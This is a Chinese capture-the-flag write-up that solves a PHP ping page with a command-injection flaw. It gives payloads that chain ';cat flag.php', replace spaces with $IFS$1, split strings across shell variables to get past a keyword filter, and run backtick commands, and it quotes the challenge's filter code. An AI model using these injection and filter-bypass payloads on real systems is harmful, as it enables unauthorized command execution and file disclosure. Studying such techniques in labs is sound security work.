解题
打开题目,显示/?ip= 应该是传参
直接尝试?ip=127.0.0.1
果然是linux命令执行,尝试其他命令
?ip=127.0.0.1;ls
成功执行
目标是打开flag.php
?ip=127.0.0.1;cat flag.php
?ip=127.0.0.1;cat index.php
回显/?ip= fxck your space!
网站应该是对空格进行了过滤,常用的绕过空格方法有:
$IFS$1、${IFS}$1、 {IFS}、IFS
尝试后用$IFS$1绕过,构造?ip=127.0.0.1;cat$IFS$1flag.php
回显/?ip= fxck your flag!
查看index.php
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
对flag进行了正则
看到有变量a,尝试用a覆盖拼接falg
构造?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
大佬的解题思路
1.通过变量实现字符串拼接
构造/?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php 即可获取flag
注:此处将变量ab的位置互换是为了绕过字符串匹配
2.内联执行 (真正的大佬操作,给跪了)
构造 /?ip=127.0.0.1;cat$IFS$9`ls`
注:内联,就是将反引号内命令的输出作为输入执行。